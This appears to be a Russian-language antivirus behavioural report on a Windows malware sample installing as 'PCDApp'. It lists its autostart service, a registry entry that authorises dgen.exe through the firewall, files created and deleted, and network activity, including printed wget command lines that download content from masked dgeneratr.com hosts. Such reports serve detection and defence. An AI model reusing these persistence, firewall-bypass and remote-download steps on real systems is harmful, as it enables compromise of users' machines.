Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\ProtectMonitor] 'Start' = '00000002'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\PCDApp\dgen.exe' = '%PROGRAM_FILES%\PCDApp\dgen.exe:*:Enabled:MProxy'
Создает и запускает на исполнение:
- '%TEMP%\nsx7.tmp\ns8.tmp' "%PROGRAM_FILES%\PCDApp\cstart.bat" x9 6003
- '%PROGRAM_FILES%\PCDApp\StartHelp.exe'
- '%PROGRAM_FILES%\PCDApp\dgen.exe' x9 6003
- '%PROGRAM_FILES%\PCDApp\wget.exe' -q -O "s.o" "http://tr###.dgeneratr.com/start.php?p=###########################################################"
- '%TEMP%\nsx7.tmp\ns9.tmp' "%PROGRAM_FILES%\PCDApp\wget.exe" -q -O "s.o" "http://tr###.dgeneratr.com/start.php?p=###########################################################"
- '%PROGRAM_FILES%\PCDApp\wget.exe' -q -O "o.o" "http://tr###.dgeneratr.com/opened.php?v=###########"
- '%TEMP%\nsa2.tmp\ns3.tmp' "%PROGRAM_FILES%\PCDApp\wget.exe" -q -O "o.o" "http://tr###.dgeneratr.com/opened.php?v=###########"
- '%TEMP%\nsa2.tmp\ns4.tmp' "%PROGRAM_FILES%\PCDApp\wget.exe" -q -O "%PROGRAM_FILES%\PCDApp\o.c" "http://tr###.dgeneratr.com/bundleinstaller/get_cc.php"
- '%TEMP%\nsa2.tmp\ns5.tmp' %PROGRAM_FILES%\PCDApp\StartHelp.exe
- '%PROGRAM_FILES%\PCDApp\wget.exe' -q -O "%PROGRAM_FILES%\PCDApp\o.c" "http://tr###.dgeneratr.com/bundleinstaller/get_cc.php"
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAM_FILES%\PCDApp\cstart.bat" x9 6003"
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\nsa2.tmp\SimpleSC.dll
- %TEMP%\nsa2.tmp\SimpleFC.dll
- %TEMP%\nsa2.tmp\ns5.tmp
- %PROGRAM_FILES%\PCDApp\pthreadGC2.dll
- %PROGRAM_FILES%\PCDApp\zlib1.dll
- %TEMP%\nsa2.tmp\HwInfo.dll
- %TEMP%\nsx7.tmp\System.dll
- %TEMP%\nsx7.tmp\HwInfo.dll
- %TEMP%\nsx7.tmp\ns9.tmp
- %PROGRAM_FILES%\PCDApp\s.o
- %TEMP%\nsx7.tmp\nsRandom.dll
- %TEMP%\nsx7.tmp\nsExec.dll
- %TEMP%\nsx7.tmp\ns8.tmp
- %TEMP%\nsa2.tmp\nsExec.dll
- %TEMP%\nsa2.tmp\ns3.tmp
- %PROGRAM_FILES%\PCDApp\o.o
- %TEMP%\nsa2.tmp\System.dll
- %PROGRAM_FILES%\PCDApp\uninstaller.exe
- %PROGRAM_FILES%\PCDApp\wget.exe
- %TEMP%\nsa2.tmp\ns4.tmp
- %PROGRAM_FILES%\PCDApp\nstart.bat
- %PROGRAM_FILES%\PCDApp\dgen.exe
- %PROGRAM_FILES%\PCDApp\libcurl-4.dll
- %PROGRAM_FILES%\PCDApp\o.c
- %PROGRAM_FILES%\PCDApp\StartHelp.exe
- %PROGRAM_FILES%\PCDApp\cstart.bat
Удаляет следующие файлы:
- %TEMP%\nsa2.tmp\HwInfo.dll
- %TEMP%\nsa2.tmp\ns5.tmp
- %TEMP%\nsx7.tmp\System.dll
- %TEMP%\nsa2.tmp\nsExec.dll
- %TEMP%\nsa2.tmp\System.dll
- %TEMP%\nsa2.tmp\SimpleSC.dll
- %TEMP%\nsa2.tmp\SimpleFC.dll
- %TEMP%\nsx7.tmp\nsRandom.dll
- %PROGRAM_FILES%\PCDApp\o.c
- %TEMP%\nsa2.tmp\ns4.tmp
- %TEMP%\nsa2.tmp\ns3.tmp
- %TEMP%\nsx7.tmp\ns8.tmp
- %TEMP%\nsx7.tmp\nsExec.dll
- %TEMP%\nsx7.tmp\HwInfo.dll
- %TEMP%\nsx7.tmp\ns9.tmp
Сетевая активность:
Подключается к:
- 'x9.###neratr.com':6003
- 'tr###.dgeneratr.com':80
TCP:
Запросы HTTP GET:
- tr###.dgeneratr.com/start.php?p=###############################################################
- tr###.dgeneratr.com/bundleinstaller/get_cc.php
- tr###.dgeneratr.com/opened.php?v=###########
UDP:
- DNS ASK x9.###neratr.com
- DNS ASK tr###.dgeneratr.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
